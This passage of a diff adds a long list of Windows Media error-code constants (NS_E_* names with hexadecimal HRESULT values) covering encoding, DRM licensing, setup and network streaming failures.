+NS_E_UNSUPPORTED_SOURCETYPE                                  = 0xC00D1B5B
+NS_E_TOO_MANY_AUDIO                                          = 0xC00D1B5C
+NS_E_TOO_MANY_VIDEO                                          = 0xC00D1B5D
+NS_E_NOMATCHING_ELEMENT                                      = 0xC00D1B5E
+NS_E_MISMATCHED_MEDIACONTENT                                 = 0xC00D1B5F
+NS_E_CANNOT_DELETE_ACTIVE_SOURCEGROUP                        = 0xC00D1B60
+NS_E_AUDIODEVICE_BUSY                                        = 0xC00D1B61
+NS_E_AUDIODEVICE_UNEXPECTED                                  = 0xC00D1B62
+NS_E_AUDIODEVICE_BADFORMAT                                   = 0xC00D1B63
+NS_E_VIDEODEVICE_BUSY                                        = 0xC00D1B64
+NS_E_VIDEODEVICE_UNEXPECTED                                  = 0xC00D1B65
+NS_E_INVALIDCALL_WHILE_ENCODER_RUNNING                       = 0xC00D1B66
+NS_E_NO_PROFILE_IN_SOURCEGROUP                               = 0xC00D1B67
+NS_E_VIDEODRIVER_UNSTABLE                                    = 0xC00D1B68
+NS_E_VIDCAPSTARTFAILED                                       = 0xC00D1B69
+NS_E_VIDSOURCECOMPRESSION                                    = 0xC00D1B6A
+NS_E_VIDSOURCESIZE                                           = 0xC00D1B6B
+NS_E_ICMQUERYFORMAT                                          = 0xC00D1B6C
+NS_E_VIDCAPCREATEWINDOW                                      = 0xC00D1B6D
+NS_E_VIDCAPDRVINUSE                                          = 0xC00D1B6E
+NS_E_NO_MEDIAFORMAT_IN_SOURCE                                = 0xC00D1B6F
+NS_E_NO_VALID_OUTPUT_STREAM                                  = 0xC00D1B70
+NS_E_NO_VALID_SOURCE_PLUGIN                                  = 0xC00D1B71
+NS_E_NO_ACTIVE_SOURCEGROUP                                   = 0xC00D1B72
+NS_E_NO_SCRIPT_STREAM                                        = 0xC00D1B73
+NS_E_INVALIDCALL_WHILE_ARCHIVAL_RUNNING                      = 0xC00D1B74
+NS_E_INVALIDPACKETSIZE                                       = 0xC00D1B75
+NS_E_PLUGIN_CLSID_INVALID                                    = 0xC00D1B76
+NS_E_UNSUPPORTED_ARCHIVETYPE                                 = 0xC00D1B77
+NS_E_UNSUPPORTED_ARCHIVEOPERATION                            = 0xC00D1B78
+NS_E_ARCHIVE_FILENAME_NOTSET                                 = 0xC00D1B79
+NS_E_SOURCEGROUP_NOTPREPARED                                 = 0xC00D1B7A
+NS_E_PROFILE_MISMATCH                                        = 0xC00D1B7B
+NS_E_INCORRECTCLIPSETTINGS                                   = 0xC00D1B7C
+NS_E_NOSTATSAVAILABLE                                        = 0xC00D1B7D
+NS_E_NOTARCHIVING                                            = 0xC00D1B7E
+NS_E_INVALIDCALL_WHILE_ENCODER_STOPPED                       = 0xC00D1B7F
+NS_E_NOSOURCEGROUPS                                          = 0xC00D1B80
+NS_E_INVALIDINPUTFPS                                         = 0xC00D1B81
+NS_E_NO_DATAVIEW_SUPPORT                                     = 0xC00D1B82
+NS_E_CODEC_UNAVAILABLE                                       = 0xC00D1B83
+NS_E_ARCHIVE_SAME_AS_INPUT                                   = 0xC00D1B84
+NS_E_SOURCE_NOTSPECIFIED                                     = 0xC00D1B85
+NS_E_NO_REALTIME_TIMECOMPRESSION                             = 0xC00D1B86
+NS_E_UNSUPPORTED_ENCODER_DEVICE                              = 0xC00D1B87
+NS_E_UNEXPECTED_DISPLAY_SETTINGS                             = 0xC00D1B88
+NS_E_NO_AUDIODATA                                            = 0xC00D1B89
+NS_E_INPUTSOURCE_PROBLEM                                     = 0xC00D1B8A
+NS_E_WME_VERSION_MISMATCH                                    = 0xC00D1B8B
+NS_E_NO_REALTIME_PREPROCESS                                  = 0xC00D1B8C
+NS_E_NO_REPEAT_PREPROCESS                                    = 0xC00D1B8D
+NS_E_CANNOT_PAUSE_LIVEBROADCAST                              = 0xC00D1B8E
+NS_E_DRM_PROFILE_NOT_SET                                     = 0xC00D1B8F
+NS_E_DUPLICATE_DRMPROFILE                                    = 0xC00D1B90
+NS_E_INVALID_DEVICE                                          = 0xC00D1B91
+NS_E_SPEECHEDL_ON_NON_MIXEDMODE                              = 0xC00D1B92
+NS_E_DRM_PASSWORD_TOO_LONG                                   = 0xC00D1B93
+NS_E_DEVCONTROL_FAILED_SEEK                                  = 0xC00D1B94
+NS_E_INTERLACE_REQUIRE_SAMESIZE                              = 0xC00D1B95
+NS_E_TOO_MANY_DEVICECONTROL                                  = 0xC00D1B96
+NS_E_NO_MULTIPASS_FOR_LIVEDEVICE                             = 0xC00D1B97
+NS_E_MISSING_AUDIENCE                                        = 0xC00D1B98
+NS_E_AUDIENCE_CONTENTTYPE_MISMATCH                           = 0xC00D1B99
+NS_E_MISSING_SOURCE_INDEX                                    = 0xC00D1B9A
+NS_E_NUM_LANGUAGE_MISMATCH                                   = 0xC00D1B9B
+NS_E_LANGUAGE_MISMATCH                                       = 0xC00D1B9C
+NS_E_VBRMODE_MISMATCH                                        = 0xC00D1B9D
+NS_E_INVALID_INPUT_AUDIENCE_INDEX                            = 0xC00D1B9E
+NS_E_INVALID_INPUT_LANGUAGE                                  = 0xC00D1B9F
+NS_E_INVALID_INPUT_STREAM                                    = 0xC00D1BA0
+NS_E_EXPECT_MONO_WAV_INPUT                                   = 0xC00D1BA1
+NS_E_INPUT_WAVFORMAT_MISMATCH                                = 0xC00D1BA2
+NS_E_RECORDQ_DISK_FULL                                       = 0xC00D1BA3
+NS_E_NO_PAL_INVERSE_TELECINE                                 = 0xC00D1BA4
+NS_E_ACTIVE_SG_DEVICE_DISCONNECTED                           = 0xC00D1BA5
+NS_E_ACTIVE_SG_DEVICE_CONTROL_DISCONNECTED                   = 0xC00D1BA6
+NS_E_NO_FRAMES_SUBMITTED_TO_ANALYZER                         = 0xC00D1BA7
+NS_E_INPUT_DOESNOT_SUPPORT_SMPTE                             = 0xC00D1BA8
+NS_E_NO_SMPTE_WITH_MULTIPLE_SOURCEGROUPS                     = 0xC00D1BA9
+NS_E_BAD_CONTENTEDL                                          = 0xC00D1BAA
+NS_E_INTERLACEMODE_MISMATCH                                  = 0xC00D1BAB
+NS_E_NONSQUAREPIXELMODE_MISMATCH                             = 0xC00D1BAC
+NS_E_SMPTEMODE_MISMATCH                                      = 0xC00D1BAD
+NS_E_END_OF_TAPE                                             = 0xC00D1BAE
+NS_E_NO_MEDIA_IN_AUDIENCE                                    = 0xC00D1BAF
+NS_E_NO_AUDIENCES                                            = 0xC00D1BB0
+NS_E_NO_AUDIO_COMPAT                                         = 0xC00D1BB1
+NS_E_INVALID_VBR_COMPAT                                      = 0xC00D1BB2
+NS_E_NO_PROFILE_NAME                                         = 0xC00D1BB3
+NS_E_INVALID_VBR_WITH_UNCOMP                                 = 0xC00D1BB4
+NS_E_MULTIPLE_VBR_AUDIENCES                                  = 0xC00D1BB5
+NS_E_UNCOMP_COMP_COMBINATION                                 = 0xC00D1BB6
+NS_E_MULTIPLE_AUDIO_CODECS                                   = 0xC00D1BB7
+NS_E_MULTIPLE_AUDIO_FORMATS                                  = 0xC00D1BB8
+NS_E_AUDIO_BITRATE_STEPDOWN                                  = 0xC00D1BB9
+NS_E_INVALID_AUDIO_PEAKRATE                                  = 0xC00D1BBA
+NS_E_INVALID_AUDIO_PEAKRATE_2                                = 0xC00D1BBB
+NS_E_INVALID_AUDIO_BUFFERMAX                                 = 0xC00D1BBC
+NS_E_MULTIPLE_VIDEO_CODECS                                   = 0xC00D1BBD
+NS_E_MULTIPLE_VIDEO_SIZES                                    = 0xC00D1BBE
+NS_E_INVALID_VIDEO_BITRATE                                   = 0xC00D1BBF
+NS_E_VIDEO_BITRATE_STEPDOWN                                  = 0xC00D1BC0
+NS_E_INVALID_VIDEO_PEAKRATE                                  = 0xC00D1BC1
+NS_E_INVALID_VIDEO_PEAKRATE_2                                = 0xC00D1BC2
+NS_E_INVALID_VIDEO_WIDTH                                     = 0xC00D1BC3
+NS_E_INVALID_VIDEO_HEIGHT                                    = 0xC00D1BC4
+NS_E_INVALID_VIDEO_FPS                                       = 0xC00D1BC5
+NS_E_INVALID_VIDEO_KEYFRAME                                  = 0xC00D1BC6
+NS_E_INVALID_VIDEO_IQUALITY                                  = 0xC00D1BC7
+NS_E_INVALID_VIDEO_CQUALITY                                  = 0xC00D1BC8
+NS_E_INVALID_VIDEO_BUFFER                                    = 0xC00D1BC9
+NS_E_INVALID_VIDEO_BUFFERMAX                                 = 0xC00D1BCA
+NS_E_INVALID_VIDEO_BUFFERMAX_2                               = 0xC00D1BCB
+NS_E_INVALID_VIDEO_WIDTH_ALIGN                               = 0xC00D1BCC
+NS_E_INVALID_VIDEO_HEIGHT_ALIGN                              = 0xC00D1BCD
+NS_E_MULTIPLE_SCRIPT_BITRATES                                = 0xC00D1BCE
+NS_E_INVALID_SCRIPT_BITRATE                                  = 0xC00D1BCF
+NS_E_MULTIPLE_FILE_BITRATES                                  = 0xC00D1BD0
+NS_E_INVALID_FILE_BITRATE                                    = 0xC00D1BD1
+NS_E_SAME_AS_INPUT_COMBINATION                               = 0xC00D1BD2
+NS_E_SOURCE_CANNOT_LOOP                                      = 0xC00D1BD3
+NS_E_INVALID_FOLDDOWN_COEFFICIENTS                           = 0xC00D1BD4
+NS_E_DRMPROFILE_NOTFOUND                                     = 0xC00D1BD5
+NS_E_INVALID_TIMECODE                                        = 0xC00D1BD6
+NS_E_NO_AUDIO_TIMECOMPRESSION                                = 0xC00D1BD7
+NS_E_NO_TWOPASS_TIMECOMPRESSION                              = 0xC00D1BD8
+NS_E_TIMECODE_REQUIRES_VIDEOSTREAM                           = 0xC00D1BD9
+NS_E_NO_MBR_WITH_TIMECODE                                    = 0xC00D1BDA
+NS_E_INVALID_INTERLACEMODE                                   = 0xC00D1BDB
+NS_E_INVALID_INTERLACE_COMPAT                                = 0xC00D1BDC
+NS_E_INVALID_NONSQUAREPIXEL_COMPAT                           = 0xC00D1BDD
+NS_E_INVALID_SOURCE_WITH_DEVICE_CONTROL                      = 0xC00D1BDE
+NS_E_CANNOT_GENERATE_BROADCAST_INFO_FOR_QUALITYVBR           = 0xC00D1BDF
+NS_E_EXCEED_MAX_DRM_PROFILE_LIMIT                            = 0xC00D1BE0
+NS_E_DEVICECONTROL_UNSTABLE                                  = 0xC00D1BE1
+NS_E_INVALID_PIXEL_ASPECT_RATIO                              = 0xC00D1BE2
+NS_E_AUDIENCE__LANGUAGE_CONTENTTYPE_MISMATCH                 = 0xC00D1BE3
+NS_E_INVALID_PROFILE_CONTENTTYPE                             = 0xC00D1BE4
+NS_E_TRANSFORM_PLUGIN_NOT_FOUND                              = 0xC00D1BE5
+NS_E_TRANSFORM_PLUGIN_INVALID                                = 0xC00D1BE6
+NS_E_EDL_REQUIRED_FOR_DEVICE_MULTIPASS                       = 0xC00D1BE7
+NS_E_INVALID_VIDEO_WIDTH_FOR_INTERLACED_ENCODING             = 0xC00D1BE8
+NS_E_MARKIN_UNSUPPORTED                                      = 0xC00D1BE9
+NS_E_DRM_INVALID_APPLICATION                                 = 0xC00D2711
+NS_E_DRM_LICENSE_STORE_ERROR                                 = 0xC00D2712
+NS_E_DRM_SECURE_STORE_ERROR                                  = 0xC00D2713
+NS_E_DRM_LICENSE_STORE_SAVE_ERROR                            = 0xC00D2714
+NS_E_DRM_SECURE_STORE_UNLOCK_ERROR                           = 0xC00D2715
+NS_E_DRM_INVALID_CONTENT                                     = 0xC00D2716
+NS_E_DRM_UNABLE_TO_OPEN_LICENSE                              = 0xC00D2717
+NS_E_DRM_INVALID_LICENSE                                     = 0xC00D2718
+NS_E_DRM_INVALID_MACHINE                                     = 0xC00D2719
+NS_E_DRM_ENUM_LICENSE_FAILED                                 = 0xC00D271B
+NS_E_DRM_INVALID_LICENSE_REQUEST                             = 0xC00D271C
+NS_E_DRM_UNABLE_TO_INITIALIZE                                = 0xC00D271D
+NS_E_DRM_UNABLE_TO_ACQUIRE_LICENSE                           = 0xC00D271E
+NS_E_DRM_INVALID_LICENSE_ACQUIRED                            = 0xC00D271F
+NS_E_DRM_NO_RIGHTS                                           = 0xC00D2720
+NS_E_DRM_KEY_ERROR                                           = 0xC00D2721
+NS_E_DRM_ENCRYPT_ERROR                                       = 0xC00D2722
+NS_E_DRM_DECRYPT_ERROR                                       = 0xC00D2723
+NS_E_DRM_LICENSE_INVALID_XML                                 = 0xC00D2725
+NS_E_DRM_NEEDS_INDIVIDUALIZATION                             = 0xC00D2728
+NS_E_DRM_ALREADY_INDIVIDUALIZED                              = 0xC00D2729
+NS_E_DRM_ACTION_NOT_QUERIED                                  = 0xC00D272A
+NS_E_DRM_ACQUIRING_LICENSE                                   = 0xC00D272B
+NS_E_DRM_INDIVIDUALIZING                                     = 0xC00D272C
+NS_E_BACKUP_RESTORE_FAILURE                                  = 0xC00D272D
+NS_E_BACKUP_RESTORE_BAD_REQUEST_ID                           = 0xC00D272E
+NS_E_DRM_PARAMETERS_MISMATCHED                               = 0xC00D272F
+NS_E_DRM_UNABLE_TO_CREATE_LICENSE_OBJECT                     = 0xC00D2730
+NS_E_DRM_UNABLE_TO_CREATE_INDI_OBJECT                        = 0xC00D2731
+NS_E_DRM_UNABLE_TO_CREATE_ENCRYPT_OBJECT                     = 0xC00D2732
+NS_E_DRM_UNABLE_TO_CREATE_DECRYPT_OBJECT                     = 0xC00D2733
+NS_E_DRM_UNABLE_TO_CREATE_PROPERTIES_OBJECT                  = 0xC00D2734
+NS_E_DRM_UNABLE_TO_CREATE_BACKUP_OBJECT                      = 0xC00D2735
+NS_E_DRM_INDIVIDUALIZE_ERROR                                 = 0xC00D2736
+NS_E_DRM_LICENSE_OPEN_ERROR                                  = 0xC00D2737
+NS_E_DRM_LICENSE_CLOSE_ERROR                                 = 0xC00D2738
+NS_E_DRM_GET_LICENSE_ERROR                                   = 0xC00D2739
+NS_E_DRM_QUERY_ERROR                                         = 0xC00D273A
+NS_E_DRM_REPORT_ERROR                                        = 0xC00D273B
+NS_E_DRM_GET_LICENSESTRING_ERROR                             = 0xC00D273C
+NS_E_DRM_GET_CONTENTSTRING_ERROR                             = 0xC00D273D
+NS_E_DRM_MONITOR_ERROR                                       = 0xC00D273E
+NS_E_DRM_UNABLE_TO_SET_PARAMETER                             = 0xC00D273F
+NS_E_DRM_INVALID_APPDATA                                     = 0xC00D2740
+NS_E_DRM_INVALID_APPDATA_VERSION                             = 0xC00D2741
+NS_E_DRM_BACKUP_EXISTS                                       = 0xC00D2742
+NS_E_DRM_BACKUP_CORRUPT                                      = 0xC00D2743
+NS_E_DRM_BACKUPRESTORE_BUSY                                  = 0xC00D2744
+NS_E_BACKUP_RESTORE_BAD_DATA                                 = 0xC00D2745
+NS_E_DRM_LICENSE_UNUSABLE                                    = 0xC00D2748
+NS_E_DRM_INVALID_PROPERTY                                    = 0xC00D2749
+NS_E_DRM_SECURE_STORE_NOT_FOUND                              = 0xC00D274A
+NS_E_DRM_CACHED_CONTENT_ERROR                                = 0xC00D274B
+NS_E_DRM_INDIVIDUALIZATION_INCOMPLETE                        = 0xC00D274C
+NS_E_DRM_DRIVER_AUTH_FAILURE                                 = 0xC00D274D
+NS_E_DRM_NEED_UPGRADE_MSSAP                                  = 0xC00D274E
+NS_E_DRM_REOPEN_CONTENT                                      = 0xC00D274F
+NS_E_DRM_DRIVER_DIGIOUT_FAILURE                              = 0xC00D2750
+NS_E_DRM_INVALID_SECURESTORE_PASSWORD                        = 0xC00D2751
+NS_E_DRM_APPCERT_REVOKED                                     = 0xC00D2752
+NS_E_DRM_RESTORE_FRAUD                                       = 0xC00D2753
+NS_E_DRM_HARDWARE_INCONSISTENT                               = 0xC00D2754
+NS_E_DRM_SDMI_TRIGGER                                        = 0xC00D2755
+NS_E_DRM_SDMI_NOMORECOPIES                                   = 0xC00D2756
+NS_E_DRM_UNABLE_TO_CREATE_HEADER_OBJECT                      = 0xC00D2757
+NS_E_DRM_UNABLE_TO_CREATE_KEYS_OBJECT                        = 0xC00D2758
+NS_E_DRM_LICENSE_NOTACQUIRED                                 = 0xC00D2759
+NS_E_DRM_UNABLE_TO_CREATE_CODING_OBJECT                      = 0xC00D275A
+NS_E_DRM_UNABLE_TO_CREATE_STATE_DATA_OBJECT                  = 0xC00D275B
+NS_E_DRM_BUFFER_TOO_SMALL                                    = 0xC00D275C
+NS_E_DRM_UNSUPPORTED_PROPERTY                                = 0xC00D275D
+NS_E_DRM_ERROR_BAD_NET_RESP                                  = 0xC00D275E
+NS_E_DRM_STORE_NOTALLSTORED                                  = 0xC00D275F
+NS_E_DRM_SECURITY_COMPONENT_SIGNATURE_INVALID                = 0xC00D2760
+NS_E_DRM_INVALID_DATA                                        = 0xC00D2761
+NS_E_DRM_POLICY_DISABLE_ONLINE                               = 0xC00D2762
+NS_E_DRM_UNABLE_TO_CREATE_AUTHENTICATION_OBJECT              = 0xC00D2763
+NS_E_DRM_NOT_CONFIGURED                                      = 0xC00D2764
+NS_E_DRM_DEVICE_ACTIVATION_CANCELED                          = 0xC00D2765
+NS_E_BACKUP_RESTORE_TOO_MANY_RESETS                          = 0xC00D2766
+NS_E_DRM_DEBUGGING_NOT_ALLOWED                               = 0xC00D2767
+NS_E_DRM_OPERATION_CANCELED                                  = 0xC00D2768
+NS_E_DRM_RESTRICTIONS_NOT_RETRIEVED                          = 0xC00D2769
+NS_E_DRM_UNABLE_TO_CREATE_PLAYLIST_OBJECT                    = 0xC00D276A
+NS_E_DRM_UNABLE_TO_CREATE_PLAYLIST_BURN_OBJECT               = 0xC00D276B
+NS_E_DRM_UNABLE_TO_CREATE_DEVICE_REGISTRATION_OBJECT         = 0xC00D276C
+NS_E_DRM_UNABLE_TO_CREATE_METERING_OBJECT                    = 0xC00D276D
+NS_E_DRM_TRACK_EXCEEDED_PLAYLIST_RESTICTION                  = 0xC00D2770
+NS_E_DRM_TRACK_EXCEEDED_TRACKBURN_RESTRICTION                = 0xC00D2771
+NS_E_DRM_UNABLE_TO_GET_DEVICE_CERT                           = 0xC00D2772
+NS_E_DRM_UNABLE_TO_GET_SECURE_CLOCK                          = 0xC00D2773
+NS_E_DRM_UNABLE_TO_SET_SECURE_CLOCK                          = 0xC00D2774
+NS_E_DRM_UNABLE_TO_GET_SECURE_CLOCK_FROM_SERVER              = 0xC00D2775
+NS_E_DRM_POLICY_METERING_DISABLED                            = 0xC00D2776
+NS_E_DRM_TRANSFER_CHAINED_LICENSES_UNSUPPORTED               = 0xC00D2777
+NS_E_DRM_SDK_VERSIONMISMATCH                                 = 0xC00D2778
+NS_E_DRM_LIC_NEEDS_DEVICE_CLOCK_SET                          = 0xC00D2779
+NS_E_LICENSE_HEADER_MISSING_URL                              = 0xC00D277A
+NS_E_DEVICE_NOT_WMDRM_DEVICE                                 = 0xC00D277B
+NS_E_DRM_INVALID_APPCERT                                     = 0xC00D277C
+NS_E_DRM_PROTOCOL_FORCEFUL_TERMINATION_ON_PETITION           = 0xC00D277D
+NS_E_DRM_PROTOCOL_FORCEFUL_TERMINATION_ON_CHALLENGE          = 0xC00D277E
+NS_E_DRM_CHECKPOINT_FAILED                                   = 0xC00D277F
+NS_E_DRM_BB_UNABLE_TO_INITIALIZE                             = 0xC00D2780
+NS_E_DRM_UNABLE_TO_LOAD_HARDWARE_ID                          = 0xC00D2781
+NS_E_DRM_UNABLE_TO_OPEN_DATA_STORE                           = 0xC00D2782
+NS_E_DRM_DATASTORE_CORRUPT                                   = 0xC00D2783
+NS_E_DRM_UNABLE_TO_CREATE_INMEMORYSTORE_OBJECT               = 0xC00D2784
+NS_E_DRM_STUBLIB_REQUIRED                                    = 0xC00D2785
+NS_E_DRM_UNABLE_TO_CREATE_CERTIFICATE_OBJECT                 = 0xC00D2786
+NS_E_DRM_MIGRATION_TARGET_NOT_ONLINE                         = 0xC00D2787
+NS_E_DRM_INVALID_MIGRATION_IMAGE                             = 0xC00D2788
+NS_E_DRM_MIGRATION_TARGET_STATES_CORRUPTED                   = 0xC00D2789
+NS_E_DRM_MIGRATION_IMPORTER_NOT_AVAILABLE                    = 0xC00D278A
+NS_DRM_E_MIGRATION_UPGRADE_WITH_DIFF_SID                     = 0xC00D278B
+NS_DRM_E_MIGRATION_SOURCE_MACHINE_IN_USE                     = 0xC00D278C
+NS_DRM_E_MIGRATION_TARGET_MACHINE_LESS_THAN_LH               = 0xC00D278D
+NS_DRM_E_MIGRATION_IMAGE_ALREADY_EXISTS                      = 0xC00D278E
+NS_E_DRM_HARDWAREID_MISMATCH                                 = 0xC00D278F
+NS_E_INVALID_DRMV2CLT_STUBLIB                                = 0xC00D2790
+NS_E_DRM_MIGRATION_INVALID_LEGACYV2_DATA                     = 0xC00D2791
+NS_E_DRM_MIGRATION_LICENSE_ALREADY_EXISTS                    = 0xC00D2792
+NS_E_DRM_MIGRATION_INVALID_LEGACYV2_SST_PASSWORD             = 0xC00D2793
+NS_E_DRM_MIGRATION_NOT_SUPPORTED                             = 0xC00D2794
+NS_E_DRM_UNABLE_TO_CREATE_MIGRATION_IMPORTER_OBJECT          = 0xC00D2795
+NS_E_DRM_CHECKPOINT_MISMATCH                                 = 0xC00D2796
+NS_E_DRM_CHECKPOINT_CORRUPT                                  = 0xC00D2797
+NS_E_REG_FLUSH_FAILURE                                       = 0xC00D2798
+NS_E_HDS_KEY_MISMATCH                                        = 0xC00D2799
+NS_E_DRM_MIGRATION_OPERATION_CANCELLED                       = 0xC00D279A
+NS_E_DRM_MIGRATION_OBJECT_IN_USE                             = 0xC00D279B
+NS_E_DRM_MALFORMED_CONTENT_HEADER                            = 0xC00D279C
+NS_E_DRM_LICENSE_EXPIRED                                     = 0xC00D27D8
+NS_E_DRM_LICENSE_NOTENABLED                                  = 0xC00D27D9
+NS_E_DRM_LICENSE_APPSECLOW                                   = 0xC00D27DA
+NS_E_DRM_STORE_NEEDINDI                                      = 0xC00D27DB
+NS_E_DRM_STORE_NOTALLOWED                                    = 0xC00D27DC
+NS_E_DRM_LICENSE_APP_NOTALLOWED                              = 0xC00D27DD
+NS_E_DRM_LICENSE_CERT_EXPIRED                                = 0xC00D27DF
+NS_E_DRM_LICENSE_SECLOW                                      = 0xC00D27E0
+NS_E_DRM_LICENSE_CONTENT_REVOKED                             = 0xC00D27E1
+NS_E_DRM_DEVICE_NOT_REGISTERED                               = 0xC00D27E2
+NS_E_DRM_LICENSE_NOSAP                                       = 0xC00D280A
+NS_E_DRM_LICENSE_NOSVP                                       = 0xC00D280B
+NS_E_DRM_LICENSE_NOWDM                                       = 0xC00D280C
+NS_E_DRM_LICENSE_NOTRUSTEDCODEC                              = 0xC00D280D
+NS_E_DRM_SOURCEID_NOT_SUPPORTED                              = 0xC00D280E
+NS_E_DRM_NEEDS_UPGRADE_TEMPFILE                              = 0xC00D283D
+NS_E_DRM_NEED_UPGRADE_PD                                     = 0xC00D283E
+NS_E_DRM_SIGNATURE_FAILURE                                   = 0xC00D283F
+NS_E_DRM_LICENSE_SERVER_INFO_MISSING                         = 0xC00D2840
+NS_E_DRM_BUSY                                                = 0xC00D2841
+NS_E_DRM_PD_TOO_MANY_DEVICES                                 = 0xC00D2842
+NS_E_DRM_INDIV_FRAUD                                         = 0xC00D2843
+NS_E_DRM_INDIV_NO_CABS                                       = 0xC00D2844
+NS_E_DRM_INDIV_SERVICE_UNAVAILABLE                           = 0xC00D2845
+NS_E_DRM_RESTORE_SERVICE_UNAVAILABLE                         = 0xC00D2846
+NS_E_DRM_CLIENT_CODE_EXPIRED                                 = 0xC00D2847
+NS_E_DRM_NO_UPLINK_LICENSE                                   = 0xC00D2848
+NS_E_DRM_INVALID_KID                                         = 0xC00D2849
+NS_E_DRM_LICENSE_INITIALIZATION_ERROR                        = 0xC00D284A
+NS_E_DRM_CHAIN_TOO_LONG                                      = 0xC00D284C
+NS_E_DRM_UNSUPPORTED_ALGORITHM                               = 0xC00D284D
+NS_E_DRM_LICENSE_DELETION_ERROR                              = 0xC00D284E
+NS_E_DRM_INVALID_CERTIFICATE                                 = 0xC00D28A0
+NS_E_DRM_CERTIFICATE_REVOKED                                 = 0xC00D28A1
+NS_E_DRM_LICENSE_UNAVAILABLE                                 = 0xC00D28A2
+NS_E_DRM_DEVICE_LIMIT_REACHED                                = 0xC00D28A3
+NS_E_DRM_UNABLE_TO_VERIFY_PROXIMITY                          = 0xC00D28A4
+NS_E_DRM_MUST_REGISTER                                       = 0xC00D28A5
+NS_E_DRM_MUST_APPROVE                                        = 0xC00D28A6
+NS_E_DRM_MUST_REVALIDATE                                     = 0xC00D28A7
+NS_E_DRM_INVALID_PROXIMITY_RESPONSE                          = 0xC00D28A8
+NS_E_DRM_INVALID_SESSION                                     = 0xC00D28A9
+NS_E_DRM_DEVICE_NOT_OPEN                                     = 0xC00D28AA
+NS_E_DRM_DEVICE_ALREADY_REGISTERED                           = 0xC00D28AB
+NS_E_DRM_UNSUPPORTED_PROTOCOL_VERSION                        = 0xC00D28AC
+NS_E_DRM_UNSUPPORTED_ACTION                                  = 0xC00D28AD
+NS_E_DRM_CERTIFICATE_SECURITY_LEVEL_INADEQUATE               = 0xC00D28AE
+NS_E_DRM_UNABLE_TO_OPEN_PORT                                 = 0xC00D28AF
+NS_E_DRM_BAD_REQUEST                                         = 0xC00D28B0
+NS_E_DRM_INVALID_CRL                                         = 0xC00D28B1
+NS_E_DRM_ATTRIBUTE_TOO_LONG                                  = 0xC00D28B2
+NS_E_DRM_EXPIRED_LICENSEBLOB                                 = 0xC00D28B3
+NS_E_DRM_INVALID_LICENSEBLOB                                 = 0xC00D28B4
+NS_E_DRM_INCLUSION_LIST_REQUIRED                             = 0xC00D28B5
+NS_E_DRM_DRMV2CLT_REVOKED                                    = 0xC00D28B6
+NS_E_DRM_RIV_TOO_SMALL                                       = 0xC00D28B7
+NS_E_OUTPUT_PROTECTION_LEVEL_UNSUPPORTED                     = 0xC00D2904
+NS_E_COMPRESSED_DIGITAL_VIDEO_PROTECTION_LEVEL_UNSUPPORTED   = 0xC00D2905
+NS_E_UNCOMPRESSED_DIGITAL_VIDEO_PROTECTION_LEVEL_UNSUPPORTED = 0xC00D2906
+NS_E_ANALOG_VIDEO_PROTECTION_LEVEL_UNSUPPORTED               = 0xC00D2907
+NS_E_COMPRESSED_DIGITAL_AUDIO_PROTECTION_LEVEL_UNSUPPORTED   = 0xC00D2908
+NS_E_UNCOMPRESSED_DIGITAL_AUDIO_PROTECTION_LEVEL_UNSUPPORTED = 0xC00D2909
+NS_E_OUTPUT_PROTECTION_SCHEME_UNSUPPORTED                    = 0xC00D290A
+NS_E_REBOOT_RECOMMENDED                                      = 0xC00D2AFA
+NS_E_REBOOT_REQUIRED                                         = 0xC00D2AFB
+NS_E_SETUP_INCOMPLETE                                        = 0xC00D2AFC
+NS_E_SETUP_DRM_MIGRATION_FAILED                              = 0xC00D2AFD
+NS_E_SETUP_IGNORABLE_FAILURE                                 = 0xC00D2AFE
+NS_E_SETUP_DRM_MIGRATION_FAILED_AND_IGNORABLE_FAILURE        = 0xC00D2AFF
+NS_E_SETUP_BLOCKED                                           = 0xC00D2B00
+NS_E_UNKNOWN_PROTOCOL                                        = 0xC00D2EE0
+NS_E_REDIRECT_TO_PROXY                                       = 0xC00D2EE1
+NS_E_INTERNAL_SERVER_ERROR                                   = 0xC00D2EE2
+NS_E_BAD_REQUEST                                             = 0xC00D2EE3
+NS_E_ERROR_FROM_PROXY                                        = 0xC00D2EE4
+NS_E_PROXY_TIMEOUT                                           = 0xC00D2EE5
+NS_E_SERVER_UNAVAILABLE                                      = 0xC00D2EE6
+NS_E_REFUSED_BY_SERVER                                       = 0xC00D2EE7
+NS_E_INCOMPATIBLE_SERVER                                     = 0xC00D2EE8
+NS_E_MULTICAST_DISABLED                                      = 0xC00D2EE9
+NS_E_INVALID_REDIRECT                                        = 0xC00D2EEA
+NS_E_ALL_PROTOCOLS_DISABLED                                  = 0xC00D2EEB
+NS_E_MSBD_NO_LONGER_SUPPORTED                                = 0xC00D2EEC
+NS_E_PROXY_NOT_FOUND                                         = 0xC00D2EED
+NS_E_CANNOT_CONNECT_TO_PROXY                                 = 0xC00D2EEE
+NS_E_SERVER_DNS_TIMEOUT                                      = 0xC00D2EEF
+NS_E_PROXY_DNS_TIMEOUT                                       = 0xC00D2EF0
+NS_E_CLOSED_ON_SUSPEND                                       = 0xC00D2EF1
+NS_E_CANNOT_READ_PLAYLIST_FROM_MEDIASERVER                   = 0xC00D2EF2
+NS_E_SESSION_NOT_FOUND                                       = 0xC00D2EF3
+NS_E_REQUIRE_STREAMING_CLIENT                                = 0xC00D2EF4
+NS_E_PLAYLIST_ENTRY_HAS_CHANGED                              = 0xC00D2EF5
+NS_E_PROXY_ACCESSDENIED                                      = 0xC00D2EF6
+NS_E_PROXY_SOURCE_ACCESSDENIED                               = 0xC00D2EF7
+NS_E_NETWORK_SINK_WRITE                                      = 0xC00D2EF8
+NS_E_FIREWALL                                                = 0xC00D2EF9
+NS_E_MMS_NOT_SUPPORTED                                       = 0xC00D2EFA
+NS_E_SERVER_ACCESSDENIED                                     = 0xC00D2EFB
+NS_E_RESOURCE_GONE                                           = 0xC00D2EFC
+NS_E_NO_EXISTING_PACKETIZER                                  = 0xC00D2EFD
+NS_E_BAD_SYNTAX_IN_SERVER_RESPONSE                           = 0xC00D2EFE
+NS_E_RESET_SOCKET_CONNECTION                                 = 0xC00D2F00
+NS_E_TOO_MANY_HOPS                                           = 0xC00D2F02
+NS_E_TOO_MUCH_DATA_FROM_SERVER                               = 0xC00D2F05
+NS_E_CONNECT_TIMEOUT                                         = 0xC00D2F06
+NS_E_PROXY_CONNECT_TIMEOUT                                   = 0xC00D2F07
+NS_E_SESSION_INVALID                                         = 0xC00D2F08
+NS_E_PACKETSINK_UNKNOWN_FEC_STREAM                           = 0xC00D2F0A
